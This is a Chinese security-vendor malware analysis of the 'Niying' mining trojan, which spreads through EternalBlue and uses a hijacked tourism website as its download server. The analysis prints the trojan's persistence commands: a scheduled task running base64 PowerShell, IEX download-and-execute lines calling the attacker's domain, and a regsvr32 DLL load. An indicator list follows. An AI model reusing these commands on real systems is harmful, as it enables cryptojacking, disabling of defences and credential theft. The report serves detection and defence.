“匿影”挖矿木马持续活跃，入侵某旅游网站做病毒下载服务器
感谢腾讯御见威胁情报中心来稿！
原文链接：https://mp.weixin.qq.com/s/WoYcqgC-xXtM2s752215yQ
一、背景
腾讯安全威胁情报中心检测到“匿影”挖矿木马变种攻击。该变种木马依然利用永恒之蓝漏洞进行攻击传播，通过计划任务、WMI后门进行本地持久化，然后在攻陷机器下载XMRig矿机挖矿门罗币、下载nbminer矿机挖矿HNS（Handshake），还会利用regsvr32.exe加载执行DLL形式的木马程序，匿影木马新变种在已安装腾讯电脑管家等数款安全软件的电脑上不运行，试图避免被安全厂商检测到。
“匿影”挖矿木马擅长利用利用各类公共网址进行数据统计和木马下载，此次变种攻陷了某旅游文化网站并将其作为木马下载服务器，其使用过的公共网址如下：
upload.ee 免费网盘
anonfiles.com 免费图床
sowcar.com 免费图床
popo8.com 免费图床
img.vim-cn.com 免费图床
urlxxx.at.ua 建站服务
mywebnew.ucoz.pl 建站服务
addressnet.do.am 建站服务
googlenew.moy.su 建站服务
ludengapp.com 某设计公司网站
worldyou.top 某文旅公司网站（新）
二、样本分析
“匿影”挖矿木马释放永恒之蓝漏洞利用攻击程序包到C:\Users\Public目录下并启动主程序storageg.exe开始扫描攻击。
在攻陷的目标机器执行Payload（x86.dll或x64.dll）, Payload会检测腾讯电脑管家、金山毒霸等杀软是否存在，若不存在继续执行一段Base64编码的Powershell命令。
Base64编码的Powershell命令解码后内容如下：
schtasks /create /ru system /sc MINUTE /mo 80 /tn VNware /tr "powershell.exe -ep bypass -e SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwBtAHkAdwBlAGIAcwBhAGEAdAAuAHgAeQB6AC8AdgBpAHAALgB0AHgAdAAnACkAKQA="
该命令安装名为“VNware ”的计划任务，每隔80分钟执行一次另一段经过base64编码的Powershell命令，同样，解码后内容如下：
IEX ((new-object net.webclient).downloadstring('http[:]//mywebsaat.xyz/vip.txt'))
然后计划任务从http[:]//mywebsaat.xyz/vip. *** vip.txt反复运行，并完成以下功能：
1、访问统计页面，记录攻击次数
2、安装计划任务“PCHunterDNS”和”\Microsoft\Windows\UPnP\Services”进而持久化执行恶意代码：
IEX ((new-object net.webclient).downloadstring('https[:]//mywebsaat.xyz/123.jpg'))
3、通过注册表修改操作，关闭Windows Defender，同时开启WDigest缓存（可以从内存缓存中窃密用户名和登陆密码）。
在执行该步骤前，脚本会从百度官网下载LOGO图标https[:]//www.baidu.com/img/bd_logo1.png，并保存为C:\ProgramData\Defender.txt，通过判断该文件是否存在，来确认这个步骤是否执行过。
4、安装WMI后门（事件过滤器“ *** amm3”、事件消费者“ *** amm4”）持久化运行恶意代码IEX ((new-object net.webclient).downloadstring(‘http[:]//mywebsaat.xyz/kp.txt’))，而“ *** amm3”、“ *** amm4”是Mykings挖矿僵尸 *** 团伙使用的WMI后门名称，推测“匿影”挖矿木马团伙与Mykings挖矿僵尸 *** 可能有一定的关联。
5、下载和启动挖矿程序，脚本会从多个地址下载不同的挖矿程序，存放在不同的路径下，具体样本如下：
C:\Users\Public\MicrosftEdgeCP.exe是显卡挖矿软件NBMiner
（https://github.com/NebuTech/NBMiner/releases），支持NVIDIA、AMD显卡，支持GRIN、AE、CKB、SERO、SIPC、 *** M、ETH、SWAP等币种的挖矿。
其中某旅游文化公司网站也被黑客攻陷作为挖矿木马下载服务器：
WMI后门中的Powershell脚本kp.txt还会下载DLL木马https[:]//rss.mywebsaat.xyz/cccdll.jpg并利用regsvr32.exe加载执行，然后通过该DLL启动挖矿木马。
new-object System.Net.WebClient).DownloadFile( 'https[:]//rss.mywebsaat.xyz/cccdll.jpg','C:\Users\Public\eos.dll')
`Start-Process -FilePath C:\Windows\SysWOW64\regsvr32.exe '/s C:\Users\Public\eos.dll'`
完成挖矿木马启动和持久化过程后，继续下载永恒之蓝攻击模块http[:]//rss.mywebsaat.xyz/yh.jpg，启动下一轮攻击：
IOCs
Domain
mywebsaat.xyz
rss.mywebsaat.xyz
URL
https[:]//www.upload.ee/files/11799957/1.txt.html
https[:]//www.upload.ee/files/11814903/1.txt.html
https[:]//www.upload.ee/files/11815494/1.txt.html
https[:]//www.upload.ee/files/11816420/1.txt.html
https[:]//www.upload.ee/files/11816445/1.txt.html
https[:]//www.upload.ee/files/11822214/1.txt.html
http[:]//mywebsaat.xyz/999.jpg
https[:]//mywebsaat.xyz/xmr.jpg
http[:]//mywebsaat.xyz/nb.jpg
http[:]//mywebsaat.xyz/yh.jpg
http[:]//mywebsaat.xyzc.jpg
http[:]//mywebsaat.xyz/fxtxt.jpg
http[:]//mywebsaat.xyzakhost.jpg
http[:]//rss.mywebsaat.xyz/xmr.jpg
http[:]//rss.mywebsaat.xyzakhost.jpg
http[:]//rss.mywebsaat.xyz/nb.jpg
http[:]//rss.mywebsaat.xyz/yh.jpg
http[:]//rss.mywebsaat.xyzc.jpg
http[:]//rss.mywebsaat.xyz/fxtxt.jpg
https[:]//mywebsaat.xyz/cccdll.jpg
http[:]//mywebsaat.xyz/kp.txt
https[:]//mywebsaat.xyz/123.jpg
http[:]//www.worldyou.top/images/xmr.jpg
http[:]//www.worldyou.top/images/tsakhost.jpg
http[:]//www.worldyou.top/images/999.jpg
http[:]//www.worldyou.top/images/btc.jpg
http[:]//www.worldyou.top/images/fxtxt.jpg
http[:]//www.worldyou.top/images/nb.jpg
http[:]//www.worldyou.top/images/sd.jpg
http[:]//www.worldyou.top/images/yh.jpg
MD5
33110e53078ed5a0cf440d182878f30b
441a61cdd30502b3fcca03c28ccb49e8
5e20062b94f38e447be60f9f2b0286cd
ee5d5f0e0fe7db7186f72d3d5256b1be
f4fbfb10c441974ef5b892a35b08e6eb
85f25f9264664111f7df6dc76320b90b
““匿影”挖矿木马持续活跃，入侵某旅游网站做病毒下载服务器” 的相关文章
俄罗斯管道巨头 Transneft 遭攻击 79 GB数据泄露
俄乌冲突进入第 3 周，一些非常规行为者继续针对俄罗斯国家支持的企业发起攻击，进行一连串的黑客攻击和数据泄露。而由俄罗斯国家控制的石油管道巨头 Transneft 无疑成为了重点攻击对象。 本周四，泄密托管网站 Distributed Denial of Secrets 发布了一个 79GB 的电子...
CISA 与 FBI 在 Viasat 网络攻击后发出警告 美国卫星通讯亦面临安全威胁
因担心俄乌冲突引发的近期针对欧洲卫星网络发起的攻击可能很快蔓延到美国本土，政府机构已经向卫星通信网络运营商发出了“潜在威胁”预警。在美国网络安全与基础设施安全局（CISA）和联邦调查局（FBI）本周联合发布的一份公告中，其敦促卫星通讯（SATCOM）网络提供商和基础设施组织加强安全防御。若被入侵，或...
Adafruit 披露了前员工 GitHub 储存库中的数据泄露
Hackernews 编译，转载请注明出处： Adafruit 披露了一个数据泄露事件，这个事件是由于一个可公开查看的 GitHub 存储库引起的。 该公司怀疑这可能允许攻击者对2019年或之前对某些用户的信息进行“未经授权的访问”。 Adafruit 总部位于纽约市，自2005年以来一直是开源硬...
意大利对 Clearview AI 罚款 2000 万欧元并令其删除数据
一家欧洲隐私监督机构已经制裁了有争议的面部识别公司Clearview AI，该公司从互联网上搜刮自拍，积累了约100亿张脸的数据库，为其出售给执法部门的身份匹配服务。意大利的数据保护机构今天宣布对Clearview AI违反欧盟法律的行为处以2000万欧元罚款。 同时命令这家有争议的公司删除其...
研究报告显示 2021 年加密货币牛市使犯罪分子更加富有
根据区块链数据公司Chainalysis的一份报告，在2021年底，网络犯罪分子拥有超过110亿美元与非法活动有关的加密货币，比2020年底的30亿美元有了飞速的增长。最有利可图的犯罪行为是盗窃。据该公司称，犯罪分子、加密货币钱包中93%的资金是由价值98亿美元的被盗币构成。 为了找到这些数字，Ch...
CISA 发布 AA22-103A 新警报：警惕针对 ICS/SCADA 设备的 APT 网络攻击
本周三，包括美国能源部（DOE）、网络安全和基础设施安全局（CISA）和联邦调查局（FBI）在内的多个机构，向关键基础设施运营商发出了严重的潜在攻击警报。近年来，某些持续威胁（APT）参与者创建了许多定制工具，并在针对工业控制系统（ICS）、监控和数据采集设备（SCADA）等关键基础设施的攻击事件中...
评论列表
发表评论
